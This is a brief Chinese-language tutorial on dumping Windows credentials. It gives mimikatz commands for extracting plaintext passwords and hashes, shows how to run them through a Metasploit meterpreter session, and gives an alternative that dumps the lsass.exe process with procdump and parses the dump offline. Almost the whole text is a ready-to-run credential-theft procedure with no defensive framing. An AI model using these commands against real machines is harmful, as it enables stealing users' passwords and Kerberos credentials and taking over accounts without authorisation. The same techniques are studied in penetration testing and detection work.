mimikatz
mimikatz功能很强大，主要使用就是提取明文密码、哈希、PIN码和Kerberos凭证。
常用的只有两条命令：
注意：运行时使用管理员身份运行
privilege::debug # 提权
sekurlsa::logonPasswords # 获取密码
在msfconsole中的meterpreter模块使用mimikatz
load mimikatz # 导入mimikatz模块
help # 查看帮助
mimikatz_command -f # 执行mimikatz模块的命令
mimikatz_command -f privilege::debug # 提权
mimikatz_command -f sekurlsa::logonPasswords # 获取密码
得到用户名为admin密码为123456
也有特殊一些情况，种种问题获取不到密码，可以试一试另一种方法。
procdump
一般用于管理员检测是什么程序导致CPU高峰，我们这里主要使用它的导出dump
首先了解到一个进程，lsass.exe，这个进程主要用于本地安全和登录策略
使用Procdump将其导出，使用mimikatz获取密码
1.导出lsass.exe进程
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
**2.使用mimikatz抓取密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
就会获取到密码
